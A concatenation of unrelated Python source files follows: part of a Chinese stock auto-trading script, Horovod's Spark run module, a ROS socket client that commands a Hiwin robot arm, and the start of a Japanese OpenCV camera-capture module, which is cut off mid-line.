ๅฎšๆ—ถไปปๅŠก๏ผŒ่‡ชๅŠจๆ‰ง่กŒไนฐๅ–ๆ“ไฝœ TODO def auto_buy_and_sell(): global stockRealDict global stockRankDict global stockRankList global stockRank100List # ่Žทๅ–ๆœ€ๆ–ฐๅˆ†ๆ—ถไปทๆ ผๆ•ฐๆฎ while True: try: refreshTime = datetime.datetime.now() # ๆ›ดๆ–ฐๆ•ฐๆฎ้”ฎๅ€ผๅฏน get_all_real_and_save(stockCodeListList) # log.info('ๅ…จ่กŒๆƒ…API่Žทๅ–่€—ๆ—ถ' + format((datetime.datetime.now() - refreshTime).total_seconds(), '.3f') + 'S') sort_stock_rank100() log.info('ๅ…จ่กŒๆƒ…ๅˆทๆ–ฐ่€—ๆ—ถ' + format((datetime.datetime.now() - refreshTime).total_seconds(), '.3f') + 'S') refreshTime = datetime.datetime.now() time.sleep(60) except Exception as e: log.info('ๅ…จ่กŒๆƒ…ๅˆทๆ–ฐๅคฑ่ดฅ:' + e.__str__()) # ************************************************************************************* # ************************************************************************************* # ************************************************************************************* # ไธป่ฆ้€ป่พ‘ # ************************************************************************************* startTime = localtime() now = datetime.datetime.now() today = now.strftime('%Y%m%d') delta = datetime.timedelta(days=1) # ๅฆ‚ๆžœไปŠๅคฉๆ˜ฏๅ‘จไธ€๏ผŒๅˆ™่‡ชๅŠจๅ–ๅพ—ไธŠๅ‘จไบ”็š„ๆ—ฅๆœŸ if(now.weekday()==0): delta = datetime.timedelta(days=3) yesterday = (now - delta).strftime('%Y%m%d') # ๆŸฅ่ฏขๅฝ“ๅ‰ๆ‰€ๆœ‰ๆญฃๅธธไธŠๅธ‚ไบคๆ˜“็š„่‚ก็ฅจๅˆ—่กจig507 stockCodeList = ig507Util.get_main_stock_list_from_ig507() # ๅ–ๅพ—ๆ‰€ๆœ‰ไธปๆฟ่‚ก็ฅจไธŠไธชไบคๆ˜“ๆ—ฅ็š„ไฟกๆฏ๏ผŒๅนถไฟๅญ˜ๅˆฐstockHistoryDict log.info("ๅˆๅง‹ๅŒ–ไธŠไธชไบคๆ˜“ๆ—ฅๆ•ฐๆฎ...") stockHistoryDict = stockUtil.get_history_1(yesterday) if stockHistoryDict is None: stockHistoryDict = tushareUtil.get_last_day_data(yesterday) # ๅฐ†่ฏฅๅฏน่ฑกๅ†™ๅ…ฅๅˆฐๆœฌๅœฐ๏ผŒไธ‹ๆฌกๅฏๅŠจๆ—ถๅฏไปฅ็›ดๆŽฅ่ฟ›่กŒ่ฏปๅ– stockUtil.save_history_1(stockHistoryDict, yesterday) log.info("ไธŠไธชไบคๆ˜“ๆ—ฅๆ•ฐๆฎๅˆๅง‹ๅŒ–ๅฎŒๆˆ!") # ๆŸฅ่ฏขไธปๆฟๆ‰€ๆœ‰่‚ก็ฅจ่ฟ‡ๅŽป60ไธชไบคๆ˜“ๆ—ฅ็š„ๅ…จ้ƒจๆ—ฅ็บฟไฟกๆฏ log.info("ๅˆๅง‹ๅŒ–ๅކๅฒk็บฟไบคๆ˜“ๆ•ฐๆฎ...") end = today delta = datetime.timedelta(days=60) start = (now - delta).strftime('%Y%m%d') # ๅ…ˆๅˆคๆ–ญๅฝ“ๅ‰ๆ˜ฏๅฆๅญ˜ๅœจๆœ€ๆ–ฐ็š„ๆ—ฅ็บฟๆ•ฐๆฎๆ–‡ไปถ allStockHistoryDict = stockUtil.get_history_60() if allStockHistoryDict is None: allStockHistoryDict = tushareUtil.get_all_history(ig507Util.get_main_stock_list_from_ig507(), start, end) # ๅฐ†่ฏฅๅฏน่ฑกๅ†™ๅ…ฅๅˆฐๆœฌๅœฐ๏ผŒไธ‹ๆฌกๅฏๅŠจๆ—ถๅฏไปฅ็›ดๆŽฅ่ฟ›่กŒ่ฏปๅ– stockUtil.save_history_60(allStockHistoryDict) log.info("ๅކๅฒk็บฟไบคๆ˜“ๆ•ฐๆฎๅˆๅง‹ๅŒ–ๅฎŒๆˆ!") # ๅˆๅง‹ๅŒ–ไปŠๆ—ฅๅ…จ้ƒจๅฎžๆ—ถ่กŒๆƒ… # ๅˆ‡ๅ‰ฒๆˆๅ›บๅฎšๅคงๅฐ็š„ๅญๆ•ฐ็ป„ stockCodeListList = stockUtil.list_split(stockCodeList, 300) log.info("ๅˆๅง‹ๅŒ–ไปŠๆ—ฅๅ…จ่กŒๆƒ…...") get_all_real_and_save(stockCodeListList) sort_stock_rank100() log.info("ไปŠๆ—ฅๅ…จ่กŒๆƒ…ๅˆๅง‹ๅŒ–ๅฎŒๆˆ!") log.info("ๅˆๅง‹ๅŒ–ไปŠๆ—ฅTop100่กŒๆƒ…...") get_top_real_and_save() log.info("ไปŠๆ—ฅTop100่กŒๆƒ…ๅˆๅง‹ๅŒ–ๅฎŒๆˆ!") # ๅฏๅŠจๅ…จ่กŒๆƒ…ๅˆทๆ–ฐ็บฟ็จ‹ log.info("ๅฏๅŠจๅ…จ่กŒๆƒ…ๅˆทๆ–ฐ็บฟ็จ‹...") refreshRealThread = threading.Thread(target=refresh_real_info, args=(stockCodeListList,)) refreshRealThread.start() # ๅฏๅŠจtop100่กŒๆƒ…ๅˆทๆ–ฐ็บฟ็จ‹ log.info("ๅฏๅŠจtop100่กŒๆƒ…ๅˆทๆ–ฐ็บฟ็จ‹...") refreshTop100Thread = threading.Thread(target=refresh_top100_info) refreshTop100Thread.start() # ๅฏๅŠจtop100้€‰ๆ‹ฉๆ“ไฝœ็›ฎๆ ‡็บฟ็จ‹ log.info("ๅฏๅŠจtop100้€‰ๆ‹ฉๆ“ไฝœ็›ฎๆ ‡็บฟ็จ‹...") selectTargetThread = threading.Thread(target=select_target_from_top100()) selectTargetThread.start() # ๅฏๅŠจไนฐๅ–ๆ“ไฝœ็บฟ็จ‹ # log.info("ๅฏๅŠจไนฐๅ–ๆ“ไฝœ็›ฎๆ ‡็บฟ็จ‹...") # autoTradeThread = threading.Thread(target=auto_trade()) # autoTradeThread.start() log.info("็ณป็ปŸๅˆๅง‹ๅŒ–ๅฎŒๆˆ")
__init__.py
# Copyright 2019 Uber Technologies, Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== import horovod.spark.common._namedtuple_fix import os import platform import sys import threading import pyspark from six.moves import queue from horovod.spark.task import task_service from horovod.run.common.util import codec, env as env_util, safe_shell_exec, \ timeout, host_hash, secret from horovod.run.common.util import settings as hvd_settings from horovod.run.mpi_run import mpi_run from horovod.spark.driver import driver_service, job_id # Spark will fail to initialize correctly locally on Mac OS without this if platform.system() == 'Darwin': os.environ['OBJC_DISABLE_INITIALIZE_FORK_SAFETY'] = 'YES' def _task_fn(index, driver_addresses, settings): task = task_service.SparkTaskService(index, settings.key, settings.nic) try: driver_client = driver_service.SparkDriverClient(driver_addresses, settings.key, settings.verbose) driver_client.register_task(index, task.addresses(), host_hash.host_hash()) task.wait_for_initial_registration(settings.timeout) # Tasks ping each other in a circular fashion to determine interfaces reachable within # the cluster. next_task_index = (index + 1) % settings.num_proc next_task_addresses = driver_client.all_task_addresses(next_task_index) # We request interface matching to weed out all the NAT'ed interfaces. next_task_client = \ task_service.SparkTaskClient(next_task_index, next_task_addresses, settings.key, settings.verbose, match_intf=True) driver_client.register_task_to_task_addresses(next_task_index, next_task_client.addresses()) task_indices_on_this_host = driver_client.task_host_hash_indices( host_hash.host_hash()) if task_indices_on_this_host[0] == index: # Task with first index will execute orted that will run mpirun_exec_fn for all tasks. task.wait_for_command_start(settings.timeout) task.wait_for_command_termination() else: # The rest of tasks need to wait for the first task to finish. first_task_addresses = driver_client.all_task_addresses(task_indices_on_this_host[0]) first_task_client = \ task_service.SparkTaskClient(task_indices_on_this_host[0], first_task_addresses, settings.key, settings.verbose) first_task_client.wait_for_command_termination() return task.fn_result() finally: task.shutdown() def _make_mapper(driver_addresses, settings): def _mapper(index, _): yield _task_fn(index, driver_addresses, settings) return _mapper def _make_spark_thread(spark_context, spark_job_group, driver, result_queue, settings): """Creates `settings.num_proc` Spark tasks in a parallel thread.""" def run_spark(): """Creates `settings.num_proc` Spark tasks, each executing `_task_fn` and waits for them to terminate.""" try: spark_context.setJobGroup(spark_job_group, "Horovod Spark Run", interruptOnCancel=True) procs = spark_context.range(0, numSlices=settings.num_proc) # We assume that folks caring about security will enable Spark RPC # encryption, thus ensuring that key that is passed here remains # secret. result = procs.mapPartitionsWithIndex(_make_mapper(driver.addresses(), settings)).collect() result_queue.put(result) except: driver.notify_spark_job_failed() raise spark_thread = threading.Thread(target=run_spark) spark_thread.start() return spark_thread def run(fn, args=(), kwargs={}, num_proc=None, start_timeout=None, extra_mpi_args=None, env=None, stdout=None, stderr=None, verbose=1, nic=None, run_func=safe_shell_exec.execute): """ Runs Horovod in Spark. Runs `num_proc` processes executing `fn` using the same amount of Spark tasks. Args: fn: Function to run. args: Arguments to pass to `fn`. kwargs: Keyword arguments to pass to `fn`. num_proc: Number of Horovod processes. Defaults to `spark.default.parallelism`. start_timeout: Timeout for Spark tasks to spawn, register and start running the code, in seconds. If not set, falls back to `HOROVOD_SPARK_START_TIMEOUT` environment variable value. If it is not set as well, defaults to 600 seconds. extra_mpi_args: Extra arguments for mpi_run. Defaults to no extra args. env: Environment dictionary to use in Horovod run. Defaults to `os.environ`. stdout: Horovod stdout is redirected to this stream. Defaults to sys.stdout. stderr: Horovod stderr is redirected to this stream. Defaults to sys.stderr. verbose: Debug output verbosity (0-2). Defaults to 1. nic: specify the NIC for tcp network communication. run_func: Run function to use. Must have arguments 'command', 'env', 'stdout', 'stderr'. Defaults to safe_shell_exec.execute. Returns: List of results returned by running `fn` on each rank. """ if start_timeout is None: # Lookup default timeout from the environment variable. start_timeout = int(os.getenv('HOROVOD_SPARK_START_TIMEOUT', '600')) tmout = timeout.Timeout(start_timeout, message='Timed out waiting for {activity}. Please check that you have ' 'enough resources to run all Horovod processes. Each Horovod ' 'process runs in a Spark task. You may need to increase the ' 'start_timeout parameter to a larger value if your Spark resources ' 'are allocated on-demand.') settings = hvd_settings.Settings(verbose=verbose, extra_mpi_args=extra_mpi_args, key=secret.make_secret_key(), timeout=tmout, nic=nic, run_func_mode=True) spark_context = pyspark.SparkContext._active_spark_context if spark_context is None: raise Exception('Could not find an active SparkContext, are you ' 'running in a PySpark session?') if num_proc is None: num_proc = spark_context.defaultParallelism if settings.verbose >= 1: print('Running %d processes (inferred from spark.default.parallelism)...' % num_proc) else: if settings.verbose >= 1: print('Running %d processes...' % num_proc) settings.num_proc = num_proc result_queue = queue.Queue(1) spark_job_group = 'horovod.spark.run.%d' % job_id.next_job_id() driver = driver_service.SparkDriverService(settings.num_proc, fn, args, kwargs, settings.key, settings.nic) spark_thread = _make_spark_thread(spark_context, spark_job_group, driver, result_queue, settings) try: driver.wait_for_initial_registration(settings.timeout) if settings.verbose >= 2: print('Initial Spark task registration is complete.') task_clients = [ task_service.SparkTaskClient(index, driver.task_addresses_for_driver(index), settings.key, settings.verbose) for index in range(settings.num_proc)] for task_client in task_clients: task_client.notify_initial_registration_complete() driver.wait_for_task_to_task_address_updates(settings.timeout) if settings.verbose >= 2: print('Spark task-to-task address registration is complete.') # Determine a set of common interfaces for task-to-task communication. common_intfs = set(driver.task_addresses_for_tasks(0).keys()) for index in range(1, settings.num_proc): common_intfs.intersection_update(driver.task_addresses_for_tasks(index).keys()) if not common_intfs: raise Exception('Unable to find a set of common task-to-task communication interfaces: %s' % [(index, driver.task_addresses_for_tasks(index)) for index in range(settings.num_proc)]) # Determine the index grouping based on host hashes. # Barrel shift until index 0 is in the first host. host_hashes = list(driver.task_host_hash_indices().keys()) host_hashes.sort() while 0 not in driver.task_host_hash_indices()[host_hashes[0]]: host_hashes = host_hashes[1:] + host_hashes[:1] settings.hosts = ','.join('%s:%d' % (host_hash, len(driver.task_host_hash_indices()[host_hash])) for host_hash in host_hashes) ranks_to_indices = [] for host_hash in host_hashes: ranks_to_indices += driver.task_host_hash_indices()[host_hash] driver.set_ranks_to_indices(ranks_to_indices) if env is None: env = os.environ.copy() # Pass secret key through the environment variables. env[secret.HOROVOD_SECRET_KEY] = codec.dumps_base64(settings.key) rsh_agent = (sys.executable, '-m', 'horovod.spark.driver.mpirun_rsh', codec.dumps_base64(driver.addresses()), codec.dumps_base64(settings)) settings.extra_mpi_args = ('{extra_mpi_args} -x NCCL_DEBUG=INFO -mca plm_rsh_agent "{rsh_agent}"' .format(extra_mpi_args=settings.extra_mpi_args if settings.extra_mpi_args else '', rsh_agent=' '.join(rsh_agent))) command = (sys.executable, '-m', 'horovod.spark.task.mpirun_exec_fn', codec.dumps_base64(driver.addresses()), codec.dumps_base64(settings)) mpi_run(settings, common_intfs, env, command, stdout=stdout, stderr=stderr, run_func=run_func) except: # Terminate Spark job. spark_context.cancelJobGroup(spark_job_group) # Re-raise exception. raise finally: spark_thread.join() driver.shutdown() # Make sure Spark Job did not fail. driver.check_for_spark_job_failure() # If there's no exception, execution results are in this queue. results = result_queue.get_nowait() return [results[index] for index in ranks_to_indices]
Hiwin_RT605_ArmCommand_Socket_20190627184219.py
#!/usr/bin/env python3 # license removed for brevity import rospy import os import socket ##ๅคšๅŸท่กŒๅบ import threading import time import sys import matplotlib as plot import HiwinRA605_socket_TCPcmd as TCP import HiwinRA605_socket_Taskcmd as Taskcmd import numpy as np from std_msgs.msg import String from ROS_Socket.srv import * from ROS_Socket.msg import * from std_msgs.msg import Int32MultiArray import math import enum Socket = 0 data = '0' #่จญๅฎšๅ‚ณ่ผธ่ณ‡ๆ–™ๅˆๅง‹ๅ€ผ Arm_feedback = 1 #ๅ‡่จญๆ‰‹่‡‚ๅฟ™็ขŒ NAME = 'socket_server' arm_mode_flag = False ##------------class pos------- class point(): def __init__(self, x, y, z, pitch, roll, yaw): self.x = x self.y = y self.z = z self.pitch = pitch self.roll = roll self.yaw = yaw pos = point(0.0,36.8,11.35,-90.0,0.0,0.0) ##------------class socket_cmd--------- class socket_data(): def __init__(self, grip, setvel, ra, delay, setboth, action,Speedmode): self.grip = grip self.setvel = setvel self.ra = ra self.delay = delay self.setboth = setboth self.action = action self.Speedmode = Speedmode socket_cmd = socket_data(0,0.0,0,0,0,0,0) ##-----------switch define------------## class switch(object): def __init__(self, value): self.value = value self.fall = False def __iter__(self): """Return the match method once, then stop""" yield self.match raise StopIteration def match(self, *args): """Indicate whether or not to enter a case suite""" if self.fall or not args: return True elif self.value in args: # changed for v1.5, see below self.fall = True return True else: return False ##-----------client feedback arm state---------- class StateFeedback(): def __init__(self,ArmState,SentFlag): self.ArmState = ArmState self.SentFlag = SentFlag state_feedback = StateFeedback(0,0) def point_data(x,y,z,pitch,roll,yaw): ##ๆŽฅๆ”ถ็ญ–็•ฅ็ซฏๅ‚ณ้€ไฝๅงฟ่ณ‡ๆ–™ pos.x = x pos.y = y pos.z = z pos.pitch = pitch pos.roll = roll pos.yaw = yaw ##----------Arm Mode-------------### def Arm_Mode(action,grip,ra,setvel,setboth): ##ๆŽฅๆ”ถ็ญ–็•ฅ็ซฏๅ‚ณ้€ๆ‰‹่‡‚ๆจกๅผ่ณ‡ๆ–™ global arm_mode_flag socket_cmd.action = action socket_cmd.grip = grip socket_cmd.ra = ra socket_cmd.setvel = setvel socket_cmd.setboth = setboth arm_mode_flag = True Socket_command() ##-------Arm Speed Mode------------### def Speed_Mode(speedmode): ##ๆŽฅๆ”ถ็ญ–็•ฅ็ซฏๅ‚ณ้€ๆ‰‹่‡‚ๆจกๅผ่ณ‡ๆ–™ global speed_mode_flag socket_cmd.Speedmode = speedmode def socket_talker(): ##ๅ‰ตๅปบServer node pub = rospy.Publisher('chatter', Int32MultiArray, queue_size=10) rospy.init_node(NAME) rate = rospy.Rate(10) # 10hz print ("Ready to connect") while not rospy.is_shutdown(): # hello_str = "hello world %s" % rospy.get_time() state = Int32MultiArray() state.data = [state_feedback.ArmState,state_feedback.SentFlag] # rospy.loginfo(state) pub.publish(state) rate.sleep() ##----------socket ๅฐๅŒ…ๅ‚ณ่ผธ--------------## ##---------------socket ๅ‚ณ่ผธๆ‰‹่‡‚ๅ‘ฝไปค----------------- def Socket_command(): global Socket,arm_mode_flag,data Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if arm_mode_flag == True: arm_mode_flag = False for case in switch(socket_cmd.action): #-------PtP Mode-------- if case(Taskcmd.Action_Type.PtoP): for case in switch(socket_cmd.setboth): if case(Taskcmd.Ctrl_Mode.CTRL_POS): data = TCP.SetPtoP(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_POS,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel) break if case(Taskcmd.Ctrl_Mode.CTRL_EULER): data = TCP.SetPtoP(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_EULER,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel) break if case(Taskcmd.Ctrl_Mode.CTRL_BOTH): data = TCP.SetPtoP(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_BOTH,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel) break break #-------Line Mode-------- if case(Taskcmd.Action_Type.Line): for case in switch(socket_cmd.setboth): if case(Taskcmd.Ctrl_Mode.CTRL_POS): data = TCP.SetLine(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_POS,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel) break if case(Taskcmd.Ctrl_Mode.CTRL_EULER): data = TCP.SetLine(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_EULER,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel ) break if case(Taskcmd.Ctrl_Mode.CTRL_BOTH): data = TCP.SetLine(socket_cmd.grip,Taskcmd.RA.ABS,Taskcmd.Ctrl_Mode.CTRL_BOTH,pos.x,pos.y,pos.z,pos.pitch,pos.roll,pos.yaw,socket_cmd.setvel ) break break #-------่จญๅฎšๆ‰‹่‡‚้€Ÿๅบฆ-------- if case(Taskcmd.Action_Type.SetVel): data = TCP.SetVel(socket_cmd.grip, socket_cmd.setvel) break #-------่จญๅฎšๆ‰‹่‡‚Delayๆ™‚้–“-------- if case(Taskcmd.Action_Type.Delay): data = TCP.SetDelay(socket_cmd.grip,0) break #-------่จญๅฎšๆ‰‹่‡‚ๆ€ฅ้€Ÿ&ๅฎ‰ๅ…จๆจกๅผ-------- if case(Taskcmd.Action_Type.Mode): data = TCP.Set_SpeedMode(socket_cmd.grip,socket_cmd.Speedmode) break socket_cmd.action= 6 ##ๅˆ‡ๆ›ๅˆๅง‹mode็‹€ๆ…‹ print(data) print("Socket:", Socket) Socket.send(data.encode('utf-8'))#socketๅ‚ณ้€for python to translate str ##-----------socket client-------- def socket_client(): global Socket try: Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) Socket.connect(('192.168.0.1', 8080))#iclab 5 ๏ผ† iclab hiwin #s.connect(('192.168.1.102', 8080))#iclab computerx print('Connection has been successful') except socket.error as msg: print(msg) sys.exit(1) #print('Connection has been successful') print(Socket.recv(1024)) while 1: feedback_str = Socket.recv(1024) #ๆ‰‹่‡‚็ซฏๅ‚ณ้€ๆ‰‹่‡‚็‹€ๆ…‹ if str(feedback_str[2]) == '48':# F ๆ‰‹่‡‚็‚บReady็‹€ๆ…‹ๆบ–ๅ‚™ๆŽฅๆ”ถไธ‹ไธ€ๅ€‹้‹ๅ‹•ๆŒ‡ไปค state_feedback.ArmState = 0 if str(feedback_str[2]) == '49':# T ๆ‰‹่‡‚็‚บๅฟ™็ขŒ็‹€ๆ…‹็„กๆณ•ๅŸท่กŒไธ‹ไธ€ๅ€‹้‹ๅ‹•ๆŒ‡ไปค state_feedback.ArmState = 1 if str(feedback_str[2]) == '54':# 6 ็ญ–็•ฅๅฎŒๆˆ state_feedback.ArmState = 6 print("shutdown") #็ขบ่ชๅ‚ณ้€ๆ——ๆจ™ if str(feedback_str[4]) == '48':#ๅ›žๅ‚ณ0 false state_feedback.SentFlag = 0 if str(feedback_str[4]) == '49':#ๅ›žๅ‚ณ1 true state_feedback.SentFlag = 1 ##---------------socket ๅ‚ณ่ผธๆ‰‹่‡‚ๅ‘ฝไปค end----------------- if state_feedback.ArmState == Taskcmd.Arm_feedback_Type.shutdown: break rospy.on_shutdown(myhook) Socket.close() ##-----------socket client end-------- ##-------------socket ๅฐๅŒ…ๅ‚ณ่ผธ end--------------## def myhook(): print ("shutdown time!") if __name__ == '__main__': socket_cmd.action = 6##ๅˆ‡ๆ›ๅˆๅง‹mode็‹€ๆ…‹ ## ๅคšๅŸท่กŒ็ท’ t = threading.Thread(target=socket_client) t.start() # ้–‹ๅ•ŸๅคšๅŸท่กŒ็ท’ #time.sleep(1) try: socket_talker() except rospy.ROSInterruptException: pass t.join() ## ๅคšๅŸท่กŒๅบ end
_v4__vision_capture.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # COPYRIGHT (C) 2014-2020 Mitsuo KONDOU. # This software is released under the MIT License. # https://github.com/konsan1101 # Thank you for keeping the rules. import sys import os import queue import threading import subprocess import datetime import time import codecs import glob import numpy as np import cv2 from PIL import Image, ImageDraw, ImageFont print(os.path.dirname(__file__)) print(os.path.basename(__file__)) print(sys.version_info) qCtrl_vision = 'temp/control_vision.txt' qCtrl_recognize = 'temp/result_recognize.txt' qCtrl_translate = 'temp/result_translate.txt' qCtrl_resultCV = 'temp/result_cv.txt' qCtrl_resultOCR = 'temp/result_ocr.txt' qCtrl_resultTrn = 'temp/result_ocrTrn.txt' qFONT_default = {'file':'_fonts/_vision_font_ipaexg.ttf','offset':10} qFONT_zh = {'file':'C:/Windows/Fonts/msyh.ttc', 'offset':5} qFONT_ko = {'file':'C:/Windows/Fonts/batang.ttc', 'offset':10} # qFunc ๅ…ฑ้€šใƒซใƒผใƒใƒณ import _v5__qFunc qFunc = _v5__qFunc.qFunc_class() qPLATFORM = qFunc.getValue('qPLATFORM' ) qRUNATTR = qFunc.getValue('qRUNATTR' ) qHOSTNAME = qFunc.getValue('qHOSTNAME' ) qUSERNAME = qFunc.getValue('qUSERNAME' ) qPath_pictures = qFunc.getValue('qPath_pictures' ) qPath_videos = qFunc.getValue('qPath_videos' ) qPath_cache = qFunc.getValue('qPath_cache' ) qPath_sounds = qFunc.getValue('qPath_sounds' ) qPath_icons = qFunc.getValue('qPath_icons' ) qPath_fonts = qFunc.getValue('qPath_fonts' ) qPath_log = qFunc.getValue('qPath_log' ) qPath_work = qFunc.getValue('qPath_work' ) qPath_rec = qFunc.getValue('qPath_rec' ) qPath_s_ctrl = qFunc.getValue('qPath_s_ctrl' ) qPath_s_inp = qFunc.getValue('qPath_s_inp' ) qPath_s_wav = qFunc.getValue('qPath_s_wav' ) qPath_s_jul = qFunc.getValue('qPath_s_jul' ) qPath_s_STT = qFunc.getValue('qPath_s_STT' ) qPath_s_TTS = qFunc.getValue('qPath_s_TTS' ) qPath_s_TRA = qFunc.getValue('qPath_s_TRA' ) qPath_s_play = qFunc.getValue('qPath_s_play' ) qPath_v_ctrl = qFunc.getValue('qPath_v_ctrl' ) qPath_v_inp = qFunc.getValue('qPath_v_inp' ) qPath_v_jpg = qFunc.getValue('qPath_v_jpg' ) qPath_v_detect = qFunc.getValue('qPath_v_detect' ) qPath_v_cv = qFunc.getValue('qPath_v_cv' ) qPath_v_photo = qFunc.getValue('qPath_v_photo' ) qPath_v_msg = qFunc.getValue('qPath_v_msg' ) qPath_d_ctrl = qFunc.getValue('qPath_d_ctrl' ) qPath_d_play = qFunc.getValue('qPath_d_play' ) qPath_d_prtscn = qFunc.getValue('qPath_d_prtscn' ) qPath_d_movie = qFunc.getValue('qPath_d_movie' ) qPath_d_upload = qFunc.getValue('qPath_d_upload' ) qBusy_dev_cpu = qFunc.getValue('qBusy_dev_cpu' ) qBusy_dev_com = qFunc.getValue('qBusy_dev_com' ) qBusy_dev_mic = qFunc.getValue('qBusy_dev_mic' ) qBusy_dev_spk = qFunc.getValue('qBusy_dev_spk' ) qBusy_dev_cam = qFunc.getValue('qBusy_dev_cam' ) qBusy_dev_dsp = qFunc.getValue('qBusy_dev_dsp' ) qBusy_dev_scn = qFunc.getValue('qBusy_dev_scn' ) qBusy_s_ctrl = qFunc.getValue('qBusy_s_ctrl' ) qBusy_s_inp = qFunc.getValue('qBusy_s_inp' ) qBusy_s_wav = qFunc.getValue('qBusy_s_wav' ) qBusy_s_STT = qFunc.getValue('qBusy_s_STT' ) qBusy_s_TTS = qFunc.getValue('qBusy_s_TTS' ) qBusy_s_TRA = qFunc.getValue('qBusy_s_TRA' ) qBusy_s_play = qFunc.getValue('qBusy_s_play' ) qBusy_v_ctrl = qFunc.getValue('qBusy_v_ctrl' ) qBusy_v_inp = qFunc.getValue('qBusy_v_inp' ) qBusy_v_QR = qFunc.getValue('qBusy_v_QR' ) qBusy_v_jpg = qFunc.getValue('qBusy_v_jpg' ) qBusy_v_CV = qFunc.getValue('qBusy_v_CV' ) qBusy_d_ctrl = qFunc.getValue('qBusy_d_ctrl' ) qBusy_d_inp = qFunc.getValue('qBusy_d_inp' ) qBusy_d_QR = qFunc.getValue('qBusy_d_QR' ) qBusy_d_rec = qFunc.getValue('qBusy_d_rec' ) qBusy_d_play = qFunc.getValue('qBusy_d_play' ) qBusy_d_browser = qFunc.getValue('qBusy_d_browser') qBusy_d_upload = qFunc.getValue('qBusy_d_upload' ) qRdy__s_force = qFunc.getValue('qRdy__s_force' ) qRdy__s_fproc = qFunc.getValue('qRdy__s_fproc' ) qRdy__s_sendkey = qFunc.getValue('qRdy__s_sendkey') qRdy__v_reader = qFunc.getValue('qRdy__v_reader' ) qRdy__v_sendkey = qFunc.getValue('qRdy__v_sendkey') qRdy__d_reader = qFunc.getValue('qRdy__d_reader' ) qRdy__d_sendkey = qFunc.getValue('qRdy__d_sendkey') qApiCV = 'google' qApiOCR = qApiCV qApiTrn = qApiCV qLangCV = 'ja' qLangOCR = qLangCV qLangTrn = 'en' # ็”ปๅƒๅ‡ฆ็† api #import _v5_api_vision #api_vision = _v5_api_vision.api_vision_class() def qGetResolution(reso='full'): if (reso=='full'): if (qPLATFORM != 'darwin'): return 1920,1080 else: return 2560,1600 if (reso=='full+'): if (qPLATFORM != 'darwin'): #return 1920+40,1080+40 return 1280+40,720+40 else: return 2560+40,1600+40 elif (reso=='half'): if (qPLATFORM != 'darwin'): return 960,540 else: return 1280,800 elif (reso=='vga'): return 640,480 elif (reso=='dvd'): return 720,480 elif (reso=='1280x720'): return 1280,720 return 640,480 class qFPS(object): def __init__(self): self.start = cv2.getTickCount() self.count = 0 self.FPS = 0 def get(self): self.count += 1 if (self.count >= 30): nowTick = cv2.getTickCount() diffSec = (nowTick - self.start) / cv2.getTickFrequency() self.FPS = 1 / (diffSec / self.count) self.start = cv2.getTickCount() self.count = 0 return self.FPS inp1_Height= 0 inp1_Width = 0 inp1_Image = None inp1_FPS = 0 inp1_Zoom = '1.0' inp1_start = 0 inp1_beat = 0 inp1_busy = False inp1_last = 0 inp1_seq = 0 def proc_inp1(cn_r, cn_s, ): global inp1_Height global inp1_Width global inp1_Image global inp1_FPS global inp1_Zoom global inp1_start global inp1_beat global inp1_busy global inp1_last global inp1_seq qFunc.logOutput('video_inp1:init') runMode = cn_r.get() cam1Dev = cn_r.get() cam1Rotate = int(cn_r.get()) cam1Mode = cn_r.get() cam1Zoom = cn_r.get() cam1Width,cam1Height = qGetResolution(cam1Mode) cam1Fps = 30 cn_r.task_done() qFunc.logOutput('video_inp1:runMode =' + str(runMode )) qFunc.logOutput('video_inp1:cam1Dev =' + str(cam1Dev )) qFunc.logOutput('video_inp1:cam1Rotate=' + str(cam1Rotate)) qFunc.logOutput('video_inp1:cam1Mode =' + str(cam1Mode )) qFunc.logOutput('video_inp1:cam1Zoom =' + str(cam1Zoom )) qFunc.logOutput('video_inp1:cam1Width =' + str(cam1Width )) qFunc.logOutput('video_inp1:cam1Height=' + str(cam1Height)) qFunc.logOutput('video_inp1:cam1Fps =' + str(cam1Fps )) capture = None if (cam1Dev.isdigit()): capture = cv2.VideoCapture(int(cam1Dev)) try: capture.set(3, int(cam1Width )) capture.set(4, int(cam1Height)) capture.set(5, int(cam1Fps )) except: pass else: capture = cv2.VideoCapture(cam1Dev) qFunc.logOutput('video_inp1:start') inp1_start = time.time() fps_class = qFPS() while (True): inp1_beat = time.time() if (cn_r.qsize() > 0): cn_r_get = cn_r.get() mode_get = cn_r_get[0] data_get = cn_r_get[1] cn_r.task_done() if (mode_get is None): qFunc.logOutput('video_inp1:None=break') break if (cn_r.qsize() > 1) or (cn_s.qsize() > 1): qFunc.logOutput('video_inp1: queue overflow warning!, ' + str(cn_r.qsize()) + ', ' + str(cn_s.qsize())) if (mode_get == 'PASS'): cn_s.put(['PASS', '']) elif (mode_get == 'ZOOM'): cam1Zoom = data_get cn_s.put(['OK', '']) else: inp1_busy = True ret, frame = capture.read() if (ret == False): qFunc.logOutput('video_inp1:capture error') time.sleep(5.00) cn_s.put(['END', '']) time.sleep(5.00) break else: inp1_FPS = fps_class.get() # frame_img inp1_Height, inp1_Width = frame.shape[:2] inp1_Image = frame.copy() # image_img if abs(int(cam1Rotate)) == 90: inp1_Width2 = int((inp1_Width - 